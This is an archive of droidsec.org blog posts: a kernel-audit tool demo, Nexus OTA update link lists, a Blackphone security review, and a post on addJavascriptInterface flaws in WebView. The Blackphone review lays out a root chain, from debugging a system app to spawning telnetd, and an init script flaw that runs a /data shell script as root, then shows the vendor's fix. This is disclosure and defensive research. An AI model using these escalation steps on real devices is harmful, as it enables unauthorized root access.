droidsec.org News

A Simple Tool for Linux Kernel Audits

2017-05-22T10:00:00+00:00

In Android, the Linux kernel is the crux of security. It is responsible for enforcing access control to just about everything in the system. If an attacker can gain arbitrary code execution in kernel mode, they can bypass application sandboxing, access hardware directly, and more.

Motivation

Over the years, the Linux kernel source code has grown significantly. It contains code for all supported functionality including drivers for a wide variety of hardware across several supported architectures. A modern Linux kernel source tree is quite large. The tree we will use in our demonstration within this post is 729 megabytes.

dev:0:/android/source/kernel/msm$ du -hs . --exclude .git
729M    .

Now, you may be wondering why size matters. To better understand, let us put ourselves in the shoes of Bob. He works professionally as a source code auditor. Companies hire him to read through vast amounts of source code to discover and fix bugs and/or vulnerabilities in the code. Bob’s success depends on devising and executing a strategy to use his time most effectively. Some auditors may opt to use automated tools while others may choose to manually read through the code.

Bob prefers to work smarter instead of harder so he has developed a suite of regular expressions that he runs over the kernel code to identify potential problem areas. After sifting through the results and analyzing the surrounding code, he discovers a rather serious looking problem in a driver. He pulls out the test device for the project and quickly finds that the driver is not loaded. Oh no! Now Bob becomes curious. He reaches out and asks which Android devices in the “Droid Army” are using the driver. Unfortunately, it turns out no devices use that driver. In my opinion, this represents an error in Bob’s strategy that led him to wasting his time. Is there anything Bob can do differently to avoid this fate in the future? The answer is “Yes.”

The Tool

Enter the Linux Kernel reducer, or lk-reducer for short. This tool helps avoid some of the problems we have discussed thus far. It works by monitoring file system access while building the Linux kernel. (By no means is its utility limited to the Linux Kernel, but it is simply where we found a need.) This is possible because providing the Linux Kernel source code is a legal requirement under the GNU Public License (GPL). By monitoring the build process, we are able to determine which files from within the source tree have been used to build the final kernel image. Some files will inevitably not get used and thus we can determine that they are not needed. Therefore, they can be eliminated from review during a source code audit. This saves time during both manual and automated source code reviews.

The current incarnation of the tool is a slight modification of an implementation by Jann Horn. The first incarnation consisted of using strace(1) and a bunch of shell scripts to monitor calls to the open(2) system call. Jann developed his version around the Linux inotify subsystem. His implementation is much more clean and performant. My only modifications were to let the user decide how to process the monitoring results based on a data file. The tool generates a file called “lk-reducer.out” that shows whether each file was Accessed, Untouched, or Generated. Let us see it in action!

A Demonstration

Once the tool is downloaded and compiled, give it the path to your Linux kernel source tree:

dev:0:lk-reducer$ ./lk-reducer /android/source/kernel/msm
dev:0:msm$

Now, build the Linux kernel to track which files are accessed. Remember to not only configure and build the kernel, but also clean the build too. Otherwise, we might miss files used during the cleaning process and end up with a tree we can build but not clean.

dev:0:msm$ export ARCH=arm64 SUBARCH=arm64 CROSS_COMPILE=aarch64-linux-androidkernel-
dev:0:msm$ make marlin_defconfig
  HOSTCC  scripts/basic/fixdep
  HOSTCC  scripts/kconfig/conf.o
  SHIPPED scripts/kconfig/zconf.tab.c
  SHIPPED scripts/kconfig/zconf.lex.c
  SHIPPED scripts/kconfig/zconf.hash.c
  HOSTCC  scripts/kconfig/zconf.tab.o
  HOSTLD  scripts/kconfig/conf
drivers/soc/qcom/Kconfig:381:warning: choice value used outside its choice group
drivers/soc/qcom/Kconfig:386:warning: choice value used outside its choice group
#
# configuration written to .config
#
dev:0:msm$ make
scripts/kconfig/conf --silentoldconfig Kconfig
drivers/soc/qcom/Kconfig:381:warning: choice value used outside its choice group
drivers/soc/qcom/Kconfig:386:warning: choice value used outside its choice group
  CHK     include/config/kernel.release
[... further build output omitted for brevity ...]
  DTC     arch/arm64/boot/dts/htc/msm8996-v3-htc_sailfish-xb.dtb
  GZIP    arch/arm64/boot/Image.gz
  CAT     arch/arm64/boot/Image.gz-dtb
dev:0:msm$ make mrproper
  CLEAN   .
  CLEAN   arch/arm64/kernel/vdso
  CLEAN   arch/arm64/kernel
  CLEAN   crypto/asymmetric_keys
  CLEAN   kernel/time
  CLEAN   kernel
  CLEAN   lib
  CLEAN   net/wireless
  CLEAN   security/selinux
  CLEAN   usr
  CLEAN   arch/arm64/boot/dts/htc
  CLEAN   arch/arm64/boot
  CLEAN   .tmp_versions
  CLEAN   scripts/basic
  CLEAN   scripts/dtc
  CLEAN   scripts/kconfig
  CLEAN   scripts/mod
  CLEAN   scripts/selinux/genheaders
  CLEAN   scripts/selinux/mdp
  CLEAN   scripts
  CLEAN   include/config include/generated arch/arm64/include/generated
  CLEAN   .config .version include/generated/uapi/linux/version.h Module.symvers
dev:0:msm$

With the build and clean process completed, simply exit the sub-shell to generate the data file:

dev:0:msm$ exit
exit
processing remaining events...
inotify event collection phase is over, dumping results to "lk-reducer.out"...
cleanup complete

From here, you can analyze the data file and choose whether to delete the files from the current source tree or copy them to another place. I tend to copy the files to another directory and audit from there.

NOTE: If you’re working with a tree from Git, you might want to filter out the .git subdirectory as I’ve done here. You can always consult the history in the original repository.

dev:0:msm$ grep ^A lk-reducer.out | cut -c 3- | grep -v '\./\.git/' > lk-reducer-keep.out
dev:0:msm$ mkdir ../msm-marlin-reduced
dev:0:msm$ tar cf - -T lk-reducer-keep.out | tar xf - -C ../msm-marlin-reduced/
dev:0:msm$ du -hs ../msm-marlin-reduced/
132M    ../msm-marlin-reduced/

As you can see, we’ve reduced the source code from 729 megabytes down to only 132 megabytes. More importantly, we know that there’s no code left that is not built into the final kernel image.

Limitations

Of course, this is not the only problem faced when auditing the Linux kernel. Even though we have eliminated code that isn’t accessed at build time, some remaining code may not get used due to probing, system configuration, or other states that may be out of our control. Also, code within a file might still be thrown out by the pre-processor or optimized out during compilation. Further, this tool does nothing to help understand the threat model or determine attack surfaces that might be interesting for an audit.

Conclusion

This post defines one problem Linux kernel auditors face and presents a tool designed to help solve it. Jann and I are pleased to publish this tool to assist the community in their source code audits of the Linux kernel. It is our hope that the tool will save you time and make you more effective. You can find the tool on GitHub here. Thank you for your time and best of luck and your kernel auditing endeavors!

December 2015 Android OTA Update Links

2015-12-13T23:00:00+00:00

This month brings both the release of Android 6.0.1 and another round of security patches for Nexus devices. The December 2015 Nexus Security Bulletin details the issues fixed but has yet to be updated to include links to specific changes that fix each bug. I’ve updated our AOSP Changes site to show almost (android-6.0.0_r6 seems not pushed yet) all of the new changes in glorious hyper-linked diff format. Several of the disclosed issues are marked as critical security fixes. It’s important that these fixes reach users as quickly as possible. In the spirit of helping that happen, we continue to deliver on our pledge to help get these updates to security conscious individuals faster. Without further ado, I present the OTA links you all know and love.

UPDATE: It turns out that android-6.0.0_r6 is not relevant to the December security bulletin, but rather just another build for 6.0 with a 2015-11-01 security patch level.

UPDATE 2: Added OTA URLs for the Nexus 6.

OTA Update URLs for Currently Supported Nexus Devices

NOTE: Some URLs are not yet available. This post will be updated once those URLs are discovered.

Nexus 6P MMB29M from MDB08M

Nexus 5X MMB29K from MDB08M

Nexus 6 MMB29K from MRA58N
Nexus 6 MMB29K from MRA58R
Nexus 6 MMB29K from MRA58X
Nexus 6 MMB29K from MRA58K

Nexus Player MMB29M from MRA58N

Nexus 9 (LTE) MMB29K from MRA58N
Nexus 9 (Wi-Fi) MMB29K from MRA58N

Nexus 5 (GSM/LTE) MMB29K from MRA58N

Nexus 7 2013 (Wi-Fi) MMB29K from MRA58V
Nexus 7 2013 (Mobile) MMB29K from MRA58V

Additional updates were provided in order to upgrade devices running older Lollipop MR1 (5.1.1) or Marshmallow REL (6.0.0) builds to Marshmallow MR1 (6.0.1).

Nexus 6P MMB29M from MDB08L
Nexus 6P MMB29M from MDA89D

Nexus 5X MMB29K from MDB08L
Nexus 5X MMB29K from MDA89E

Nexus 9 (LTE) MMB29K from LMY48X
Nexus 9 (Wi-Fi) MMB29K from LMY48T

Nexus 7 2013 (Wi-Fi) MMB29K from MRA58N
Nexus 7 2013 (Wi-Fi) MMB29K from LMY47O
Nexus 7 2013 (Wi-Fi) MMB29K from LMY48M
Nexus 7 2013 (Wi-Fi) MMB29K from LMY48I

Nexus 7 2013 (Mobile) MMB29K from MRA58N
Nexus 7 2013 (Mobile) MMB29K from LMY48X
Nexus 7 2013 (Mobile) MMB29K from LMY48U
Nexus 7 2013 (Mobile) MMB29K from LMY48P

Nexus 5 MMB29K from LMY48M
Nexus 5 MMB29K from LMY48I
Nexus 5 MMB29K from LMY48B

The following devices will not be updated to 6.0.x and instead received only a 5.1.1 update this cycle.

Nexus 10 LMY48Z from LMY48X
Nexus 10 LMY48Z from LMY47V
Nexus 10 LMY48Z from LMY48I

Devices older than, and including, the Nexus 4 are no longer supported. Please, for the sake of Internet security, upgrade to a newer device!

Best of luck to you and cheers to a continued focus on providing regular, timely security updates!

November 2015 OTA Links

2015-11-02T02:00:00+00:00

A new month brings a new round of security patches for Nexus devices. The November 2015 Nexus Security Bulletin details the issues fixed and has been updated (as of yesterday) to include links to specific changes that fix each bug. I’ve updated our AOSP Changes site to show all of the new changes in glorious hyperlinked diff format. Several of the disclosed issues are marked as critical security fixes. It’s important that these fixes reach users as quickly as possible. In the spirit of helping that happen, we continue to deliver on our pledge to help get these updates to security conscious individuals faster. Without further ado, I present the OTA links you all know and love.

OTA Update URLs for Currently Supported Nexus Devices

NOTE: Some URLs are not yet available. This post will be updated once those URLs are discovered.

Nexus 6P MDB08L from MDB08K
Nexus 6P MDB08M from MDB08L

Nexus 5X MDB08L from MDB08I
Nexus 5X MDB08M from MDB08L

Nexus 6 MRA58N from MRA58K
Nexus 6 MRA58R from MRA48N

Nexus Player MRA58N from MRA58K

Nexus 9 (LTE) MRA58N from MRA58K
Nexus 9 (Wi-Fi) MRA58N from MRA58K

Nexus 5 (GSM/LTE) MRA58N from MRA58K

Nexus 7 2013 (Wi-Fi) MRA58U from MRA58K
Nexus 7 2013 (Wi-Fi) MRA58V from MRA58U
Nexus 7 2013 (Mobile) MRA58V from MRA58K

Some additional updates were provided for devices with Marshmallow support that are still running Lollipop. This wraps up some loose ends from the OTA updates released last month.

Nexus 7 2013 (Wi-Fi) MRA58V from LMY48T
Nexus 7 2013 (Mobile) MRA58V from LMY48U

The following devices will not be updated to 6.0.0 and instead received only a 5.1.1 update this cycle.

Nexus 10 LMY48X from LMY48T

Devices older than, and including, the Nexus 4 are no longer supported. Please, for the sake of Internet security, upgrade to a newer device!

Best of luck to you and cheers to a continued focus on providing regular, timely security updates!

October 2015 OTA Links: Moar security fixes!

2015-10-06T02:00:00+00:00

Yesterday was an exciting day of Android releases. It brought both the October 2015 Nexus Security Bulletin and the public release of Android 6.0 Marshmallow. I’ve updated our AOSP Changes site to show all of the new changes in glorious hyperlinked diff format. Both releases fix numerous critical security issues, so it’s important that these fixes reach users as quickly as possible. In the spirit of helping that happen, last month we pledged to help get these updates to security conscious individuals faster. Without further ado, I present the OTA links you all know and love.

NOTE: Some update URLs are still yet to be discovered. This post will be updated as soon as they become available.

OTA Update URLs for Currently Supported Nexus Devices

Nexus 6 (Global) LMY48T from LMY48M
Nexus 6 (Global) MRA58K from LMY48T
Nexus 6 (T-Mobile) LYZ28M from LYZ28K
Nexus 6 (T-Mobile) MRA58K from LYZ28M
Nexus 6 (Project Fi) LVY48H from LVY48F
Nexus 6 (Project Fi) MRA58K from LVY48H
Nexus 6 (AT&T) LMY48W from LMY48M (credit: Android Police)
Nexus 6 (AT&T) MRA58K from LMY48W

Nexus 9 (LTE) LMY48T from LMY48M (credit: Android Police / vmlinuz)
Nexus 9 (LTE) MRA58K from LMY48T (credit: Android Police / vmlinuz)

Nexus 9 (Wi-Fi) LMY48T from LMY48M
Nexus 9 (Wi-Fi) MRA58K from LMY48T (credit: Android Police / vmlinuz)

Nexus 7 2013 (Wi-Fi) LMY48T from LMY48M
Nexus 7 2013 (Wi-Fi) MRA58K from LMY48M
Nexus 7 2013 (Wi-Fi) MRA58K from LMY48T
Nexus 7 2013 (Mobile) LMY48U from LMY48P
Nexus 7 2013 (Mobile) MRA58K from LMY48P (credit: Android Police / vmlinuz)
Nexus 7 2013 (Mobile) MRA58K from LMY48U

The following devices did not receive a 5.1.1 update this time around. Instead they are moving directly to 6.0.0.

Nexus Player MRA58K from LMY48N
Nexus 5 (GSM/LTE) MRA58K from LMY48M
Galaxy Nexus (LTE) MRA58RR from JDQ39 (credit Android Police)

The following devices will not be updated to 6.0.0 and instead received only a 5.1.1 update this cycle.

Nexus 10 LMY48T from LMY48M
Nexus 4 LMY48T from LMY48M

Devices older than, and including, the 2012 Nexus 7 are no longer supported. Please, for the sake of Internet security, upgrade to a newer device!

Best of luck to you and cheers to a continued focus on providing regular, timely security updates!

Thanks to Android Police and all of their users for their corresponding “Flash All The Things” posts 1, 2.

Faster Nexus Updates! September 2015 OTA Links

2015-09-16T17:00:00+00:00

Back in August, Google and other ODMs made some strong commitments to start pushing out security updates more quickly and more often. The very first 30-day period following this event just occurred and we saw what we’d hoped. Google released Nexus updates right on time. Further, the Android security team started releasing public bulletins too! You can see their August and September bulletins at their respective locations. On the ODM side, we have seen improvements but many ODMs and carriers seem to be struggling. It’s still early though, so the jury is still out. I’m sure they are all working very hard to make the necessary process improvements to meet the 30-day patch cycle.

That brings me to my next point. I don’t believe security conscious people should have to compete in some random chance lottery to update their devices. In fact, I’m a huge proponent of a subscription-based or invite-only early access program for updates. I think getting fresh updates into the hands of the most savvy users would pay dividends. Even without such programs, I’m pleased to be able to assist everyone in updating their devices without having to wait for your number to come up. We’ll try to do this more in the future, time permitting of course.

So… In the spirit of empowering all of you, I present the OTA links you all know and love. Sorry I didn’t find the time to execute on this project sooner.

Anyway, enjoy!

OTA Update URLs for Currently Supported Nexus Devices

Nexus 6 (Global) LMY48M from LMY48I
Nexus 6 (T-Mobile) LYZ28K from LYZ28J
Nexus 6 (Project Fi) LVY48F from LVY48E
Nexus Player LMY48N from LMY48J
Nexus 9 (LTE) LMY48M from LMY48I
Nexus 9 (Wi-Fi) LMY48M from LMY48I
Nexus 5 (GSM/LTE) LMY48M from LMY48I
Nexus 7 2013 (Wi-Fi) LMY48M from LMY48I

NOTE: Appears to be a two-stage update. It’s not clear why, maybe you know or want to look into it =)
Nexus 7 2013 (Mobile) LMY48L from LMY47V and LMY48P from LMY48L

Nexus 10 LMY48M from LMY48I
Nexus 4 LMY48M from LMY48I

Devices older than, and including, the 2012 Nexus 7 are no longer supported. Please, for the sake of Internet security, upgrade to a newer device!

Best of luck to you and cheers to a renewed focus on providing security updates!

AOSP Changes and Status Update

2015-03-11T17:00:00+00:00

Recently, Funky Android Ltd closed up shop. As a result, the Android developer and security communities lost a valuable resource that Funky Android provided — their AOSP developer change logs. Since we were avid consumers of this service, we decided to stand up our own version under a new sub-domain. Without further adieu, we are pleased to present AOSP Changes, brought to you by the droidsec team! We’ve primed the set with a few recent change sets. If you’re interested in others, please open an issue.

By the way, if you haven’t noticed member Gunther and I have been hard at work cleaning up and expanding the Wiki too. Founder jduck migrated the Wiki from the traditional Github Wiki and integrated it with the main Web site layout. Following that, Gunther has been adding quite a bit of content with more to come. Keep your eyes peeled and hold on your seat belt on because further changes there seem inevitable. If you’re interested in helping, feel free to fork, make changes, and send a pull request!

There are some big changes and projects on the horizon for droidsec. Subscribe to the feed to be one of the first to know!

Onward!

Thoughts after a Month with Blackphone

2014-09-30T15:00:00+00:00

About a month ago, I decided to order a Blackphone. The product web site makes some tall claims about security, even calling it a “secure smartphone.” This kind of proclamation is rather bold, perhaps even disingenuous, and often leads to intense scrutiny in the security community. For example, consider the the response to Oracle calling their product “Unbreakable.” I’m a bit of a skeptic, so over the last month I’ve spent some of my free time researching Blackphone as a company and evaluating the security of its flagship smartphone. I wrote this post to present some of my observations and the opinions formed as a result of my research.

Before diving in, I want to point out that I’m not the first person to take a look at Blackphone. The device was announced in January and was finally made available in June. At that time, Ars Technica reviewed a pre-release version of the device and their review was cross-posted on Bruce Schneier’s blog. In August, Blackphone had a booth in the DEF CON 22 vendor area and the CSO even did an interview discussing the device. At that event, fellow droidsec researcher jcase bought a Blackphone and subsequently rooted it on the same day. After Black Hat/DEF CON, companies like Malwarebytes, Bluebox, and viaForensics have since posted their takes on the device. These articles and myriad of associated reader comments raise many valid points; many of which echo my own sentiments.

I purchased the Blackphone shortly after returning from DEF CON. It shipped directly from Hong Kong and arrived in only two days! Once it arrived, I quickly added it to the droid army and starting taking a look.

Getting Root

My first order of business, as is the case with any new device, was to get root on the device. It shipped with PrivatOS 1.0.1, which left it vulnerable to the chain of bugs jcase used to root Blackphone at DEF CON. The steps in reproducing this method are as follows:

Enable third-party app installs
Host/install an apk that pops the debugging menu (be sure to set Content-type)
Run the app and enable USB debugging
Use adb jdwp with jdb to debug the “remotewipe” system app
Inject some code to spawn telnetd as system
Find a way to get from system to root

I made fairly short order of reproducing the first five steps of the path to root, leaving me with system privileges. The last part involved getting root from the system account. jcase didn’t disclose his method for achieving this, so I started auditing to find my own way. It didn’t take long before I found what I was looking for.

The following excerpt from /init.qvs.rc illustrates the problem.

service boot_script /data/boot_script.sh
        oneshot
        user root
        disabled
[...]
on property:sys.boot_completed=1
[...]
        start boot_script

On Android, the system user owns the /data directory and therefore can easily create the /data/boot_script.sh shell script. On the next boot, init will execute the script as root. This allows not only escalating privileges from system to root, but also allows persisting root access across subsequent vulnerable system updates. I was able to use this issue to keep root access even after installing the PrivatOS 1.0.2 and 1.0.3 updates.

Reporting the Issue

I reported the issue on August 25th and it was quickly acknowledged. A fix was released as part of PrivatOS 1.0.4 on September 9th. The Blackphone staff fixed the issue within 14 days and graciously credited me in their release notes. Such a short turn around is pretty impressive for a security issue in the initial ramdisk of a smartphone. The fix for the issue is as follows:

diff -ubr 1.0.3/boot/root/init.ceres.rc 1.0.4/boot/root/init.ceres.rc
--- 1.0.3/boot/root/init.ceres.rc       2014-08-26 19:46:49.029329552 -0500
+++ 1.0.4/boot/root/init.ceres.rc       2014-09-09 14:06:38.526742249 -0500
@@ -591,9 +591,6 @@
     user system
     group system inet net_admin

-# Customers should remove this line
-import init.qvs.rc
-
 # log save to files
 service nvlog_to_file /system/bin/nvlog_to_file.sh
     class main
Only in 1.0.3/boot/root: init.qvs.rc

Reflecting on Exploited Issues

Although Blackphone fixed these issues quickly, it’s unclear why they shipped in the first place. The excerpt above included removing a comment that says, “Customers should remove this line”. This comment was likely left by NVIDIA, the System-on-Chip (SoC) manufacturer who provides the Board Services Platform (BSP) for this device.

In steps 4 and 5, I exploited a security issue reported by Sebastián and Marco from viaForensics (also droidsec members). jcase independently discovered and exploited this same bug at DEF CON 22. The root cause of the issue was that Blackphone shipped a system app that was debuggable. It’s quite unfortunate actually, because the Android Compatibility Test Suite (CTS) would find this type of security issue quickly.

Unfortunately, the staff at Blackphone didn’t catch these issues on their own. The presence of such issues is distressing. A solid Security Development Lifecycle (SDL) should make the likelihood of such issues small. Perhaps Blackphone doesn’t have an SDL, or perhaps they just missed these issues. In any case, the fact that such rookie mistakes shipped detracts from Blackphone’s security claims.

Differences from Android/AOSP

After rooting the device, I began investigating exactly what changes Blackphone made to Android/AOSP to make their device more secure and/or private. People have been making a bit of stink about this on Twitter and in reader comments on various articles. Most of Blackphone’s responses point to process differences like quicker patching rather than hardening or increased privacy features. Keep in mind that although some of the differences from other Android devices are apparent, they aren’t necessarily differences from AOSP.

PrivatOS is NOT Open Source

Unfortunately, Blackphone has not made any of their source code for PrivatOS available; despite making promises to make Blackphone “open source all the way.” They made the source to their Linux kernel available, which they are legally encumbered to do due to GPL. Much of the code in AOSP is released under a BSD or Apache license, which does not have this legal requirement. I’m not terribly surprised given the fact that Silent Circle, one the companies behind Blackphone, also was very slow to keep their open source promise.

The reasons for not releasing code are unclear. Perhaps the bureaucracy that plagues the mobile operating system ecosystem is rearing its ugly head. The cause could be internal logistics issues, NVIDIA holding them back, or an attempt to protect company IP. Whatever the case, the important thing to realize is that keeping the code closed hurts Blackphone.

Opening the source code will increase trust in the Blackphone product and the company behind it. “Many eyes” arguments aside, auditing open source software is easier than reverse engineering. For example, in June 2013 Azimuth Security reviewed the open source ZRTP library used by Silent Circle’s apps. They identified several vulnerabilities which were subsequently fixed. Without taking a look at the Blackphone code, we don’t know if they introduced additional security issues, which is unfortunately common for Android device manufacturers. The ideal way to review these changes from AOSP would be to compare the source code against Android 4.4.2. Without the code, the amount of reverse engineering time and effort required is enough to dissuade most researchers (including me, so far). Apart from making auditing easier, opening the source code greatly improves transparency. Researchers and analysts can easily review the code to verify no backdoors are present.

Not Android Compatible

Although Blackphone is based on Android 4.4.2 from AOSP, it is not Android compatible. That means Blackphone isn’t allowed to use the Android name and cannot ship with access to Google Play. The former is largely unimportant, but the latter actually has interesting security ramifications – both good and bad.

Excluding Google Play, or any other app store for that matter, removes a huge attack surface. In fact, in Blackphone’s default configuration, you can’t install apps at all. I think this is fantastic. After all, installing an app is effectively equivalent to giving the author of that app a shell account on your most personal machine. Nobody would give a complete stranger a shell, now would they?

On the flip side, not having access to Google Play means Blackphone doesn’t benefit from the resources that Play provides. Features like automatic app updates, remote kill, and other ecosystem wide mitigation potential. Further, it probably means Play Services and Google Cloud Messaging are not present, which may break apps that depend on those features. Omitting this feature effectively separates Blackphone from the rest of the Android ecosystem; for better and for worse.

Not going the “compatible” route also means that Blackphone probably doesn’t have access to the Open Handset Alliance. While not much has been stated publicly about the OHA since its inception, it is believed to be the channel through which Google and other Android OEMs share important vulnerability information. Not having access to privately reported vulnerability advisories and code fixes ahead of time puts Blackphone at a slight disadvantage. Because disclosure practices are so terrible in the Android ecosystem, Blackphone may miss out on important fixes entirely.

Considerations of Forking AOSP

As a fork of AOSP, Blackphone’s PrivatOS incurs significant maintenance costs but can also realize some amazing benefits. Standing at over 25 gigabytes of source code, backporting patches can be a nightmare. This is probably the biggest reasons that OEMs and carriers take so long to release firmware updates. In some cases, difficulties arise resulting in such updates being scrapped and never released at all.

Just think of the insane amount of code that will change when Android L is finally released. To remain secure, Blackphone will have to do one of two things. Option one is to comb through all released changes and backport security relevant fixes. This applies to not only Android-specific projects, but also to external projects that are included in AOSP like OpenSSL and WebKit/Blink/Chromium. Failure to do so could leave Blackphone users susceptible to publicly disclosed security issues such as those regularly published on the Google Chrome Releases blog. For example, the stable channel update on August 26 fixed over eight security issues, four of which were rated High and one rated Critical. Blackphone will need to review such changes and keep their fork updated to keep users secure. This is no small feat.

Now, the awesome part of being a fork is that they can do this quicker than Google itself. Being decoupled from AOSP, they don’t have to wait for Google’s fix to come down in the next major version release. This is something that Blackphone is already doing, and doing fairly well. For example, they were able to fix serious vulnerabilities like FakeID and futex/Towelroot on their own, accelerated time line. This is certainly a good thing, but as mentioned earlier in this section, the sheer amount of code to track and maintain remains a herculean challenge.

Observed Changes

While using the Blackphone, the following changes from AOSP were observed:

The bootloader on the Blackphone is easily unlockable, but immediately re-locks itself after booting up. This is annoying when developing, but is a great feature for those that might forget to re-lock the bootloader.
The recovery mode on the device appears changed, but it’s not clear how exactly at this point. First off, it’s difficult to get into. To do so, you have to use “adb reboot recovery” or quickly hit Vol-Up and Vol-Dn after powering the device on. Once you get in to recovery mode, the buttons don’t appear to do anything at all. This means no sideloading updates and so on.
Permissions handling code within the Android Framework must have been modified to support the Permissions Privacy feature. This is presumably the biggest change that Blackphone has made to AOSP.

It’s important to note that these changes have not been verified by comparing code to AOSP or otherwise; mostly because the source code is not available. This is by no means a complete list of changes, or even possible changes. I am leaving a more in-depth review for a later date or an exercise to the reader.

Bug Bounty Program

On September 23rd, Blackphone announced their bug bounty program. Surprisingly, this is the first Bug Bounty program for any Android-based smartphone. Although Google’s Patch Rewards Program (PRP) covers AOSP, it is focused on hardening and does not reward for individual vulnerability reports/fixes. Chrome offers a bug bounty, which covers Chrome for Android, but that’s a far cry from paying for bugs in the entire Android OS.

Previously, Blackphone publicly stated that they were against Bug Bounties. In fact, CEO Toby Weir-Jones told Ars Technica that “bug bounties are contrary to the company’s philosophy.” Although it’s strange that they have changed their mind, I welcome and applaud their new approach. Working with the security research community at large and compensating researchers for their time is the right move.

Conclusions

After only a little over a month with a Blackphone, I’ve gotten a feel for the device, the company behind it, and the software that it runs. Along the way, I noticed several differences to most other Android-based devices. I tried to discern whether or not the device lives up to its claims of being focused on security and privacy. While I made some headway in this, I think there is much left to be done.

When it comes to security, I feel that Blackphone’s claims are overstated. Blackphone made several rookie mistakes when shipping their device, one of which was completely avoidable by simply running the Android CTS. Further, the Blackphone contains no additional OS or kernel hardening features when compared against other Android devices. Comparing the device against Samsung’s Galaxy S5, Blackphone lags quite a bit behind.

Of course, it’s not all bad news. Their commitment to fast patching, which I’ve witnessed first hand, deserves great acclaim and is a refreshing improvement over the rest of the Android ecosystem. With the addition of their bug bounty program, they are poised to truly make a difference by leveraging the community at large. Blackphone still has security challenges to conquer, but they seem to be headed in the right direction.

I would be remiss if I didn’t point out Blackphone’s flakiness when it comes to keeping their word. The company’s inability to keep its promises raises doubt and will likely cause many would-be customers to lose interest. The type of people that value Blackphone’s key features need to be able to trust the device and the company behind it. I implore Blackphone to rectify this problem, uphold their word, and deliver the source code to PrivatOS. I’m convinced that much good will come of it.

Privacy is where Blackphone really shines. From permissions modifications to custom communications apps, Blackphone’s privacy features truly make snooping on a user’s private information more difficult. Unfortunately, achieving privacy requires achieving solid security. All bets are off if someone compromises the device, regardless of secure cryptography or otherwise.

All said and done, I can honestly say that I like the device. I admire and applaud what the company is trying to do and wish them the best.

On the WebView addJavascriptInterface Saga

2014-02-26T18:41:00+00:00

In the last month, several new facts came to light in the saga of security issues with using addJavascriptInterface in Android WebView objects. While the dangers associated with this method are well documented, the full extent and reach of associated issues was not known until recently. These issues continue to be a plague on the security of the Android ecosystem to this day.

We decided to write this post for many different reasons. First, we want to set the facts straight. The interactions involving this method and the security issues that result from it are complex. Understandably, some published articles contain technically inaccuracies. Second, we have been doing more testing and think that some of the test results are interesting. Finally, we want to make some recommendations to various parties within the ecosystem and document open questions in and future directions for our research.

It’s important to note that this post does not discuss a number of other important Android security issues. Many egregious privacy leaks stem from Android applications and advertising SDKs. Stock and third party browsers are often vulnerable to publicly disclosed vulnerabilities. There are other security issues that can stem from using addJavascriptInterface too. These topics are not covered in this post, but deserve attention too.

NOTE: This post ballooned significantly. As such, we will be working to publish more details in the future.

Background

In this section, you will learn about the different technologies and paradigms that come together to create the issues that are the topic of this post. This includes introductions to software handling on Android, the vulnerable API, and important properties of these vulnerabilities.

Software on Android

Software on Android devices consists of firmware and applications. Each type of software are versioned, distributed, and updated using different mechanisms.

The firmware for a particular device is built by the party responsible for maintaining the device. The firmware is put onto the device by that party and later updates (via OTA usually) must go through that party as well. In addition to the Android version, OEMs and carriers have their own versioning schemes. This part of the Android software update process is discussed in depth elsewhere, so we won’t elaborate further.

Applications are either distributed as part of the firmware or via Google Play. In both cases, the applications can be updated directly by the vendor via Google Play. Applications are versioned by their respective vendors.

In addition to the Android version, Google uses a versioning mechanism to indicate the precise availability and behavior of objects and methods. These objects and methods comprise the developer API, and hence this version is called the API level. As the API levels have increased, many changes have been made. The developer documentation contains lots of notes about changes throughout the evolution of Android.

Application developers choose which API level they use for their application at compile time. When a new API level is released, developers don’t have to do anything unless they want to take advantage of functionality from the new API. That is, app developers are free to select an older API level when they build their application. Google has tried to dissuade this practice in newer versions of the SDK by printing warnings at compile time. Also, Google created Google Play Services to ease some of the pain caused by API evolution. However, no technical barrier prevents using older API levels. In fact, some developers do this intentionally as a way to maximize device compatibility. Once an application is built against a particular API level, it cannot be changed without recompiling and redeploying.

WebViews and addJavascriptInterface

In Android, many browsers web-based mobile applications rely on the WebView component. The documentation for this component is pretty good, so check it out if you want to fully understand it’s purpose and usage. Suffice to say that it’s a part of the Android Framework that provides a working, embeddable Web browser. On versions prior to Android KitKat (4.4) it’s based on the WebKit engine. With KitKat and later, it’s based on Chromium. It doesn’t include the UI portion which is also referred to as “the chrome” (not to be confused with the Chrome browser).

The addJavascriptInterface method is one of the ways that developers that embed a WebView into their application (including people that build browsers) to expose Java functionality to Javascript. It has existed since the first release of Android (API level 1). It provides a method to achieve synchronous (meaning Javascript waits for a response) communication with the hosting application. There’s plenty of resources showing how to use this functionality out there, so we won’t go into further detail here. For a more high-level explanation, see the Our findings make uncomfortable reading section of Dave Hartley’s article on the MWR blog.

Security Issues

Multiple security issues exist involving the addJavascriptInterface method of Android WebView objects. Several issues involve applications that expose an object to untrusted Javascript within a WebView using the vulnerable API. Another issue, on which the exploitation of the aforementioned issues rely, is that untrusted Javascript can execute arbitrary Java code (and thus shell commands and native code). More details about these issues are presented in the following sections. The important point to understand here is that this is not just one issue. There are multiple, interrelated vulnerabilities.

In all cases, exploiting vulnerable apps gives an attacker the privileges of the app itself. However, wide public availability of privilege escalation exploits for Android devices can lead to a full device compromise.

Attack Vectors

Each vulnerability can be exploited via one or more attack vectors. Exactly which attack vectors allow exploitation depends on the context in which the affected WebView is used. That is, it depends where untrusted Javascript comes from. From our point of view they break down into the following categories:

URL-based attack vectors such as sending a URL via email, IM, SMS, etc.
Malicious advertisements (aka Malvertising)
Injecting an exploit into a compromised trusted site (e.g. a watering hole attack)
Man in the Middle attacks (MitM) such as DNS hijacking, rogue AP/BTS, etc.
Local attacks against Javascript cached on external storage (SD card)

The most severe issues can be exploited in all scenarios while slightly less severe can only be exploited via a subset.

New Developments

Back in September 2013, jduck developed a Metasploit exploit module called addjsif that targets vulnerable uses of addJavascriptInterface within advertising SDKs. He created this exploit in hopes that having it in Metasploit would bring additional attention and visibility to the seriousness of these issues. It is specifically designed to be used as a MitM proxy server that will inject its payload into passing traffic. The addjsif project’s README documents how administrators can set up and use the exploit to test devices on their networks.

While testing his module, jduck successfully exploited the wildly popular Fruit Ninja and Angry Birds games installed on a Nexus 4 running Android 4.3 (!!). He also researched the names of other objects exposed via addJavascriptInterface and embedded their names into the module.

The decision to open source jduck’s exploit module at the end of January 2014 set in motion the sequence of events leading to this post. Though MWR Labs published an exploit in December 2013, their Drozer tool simply doesn’t have as large of user base as Metasploit does. The original goal stood and so the module was released publicly.

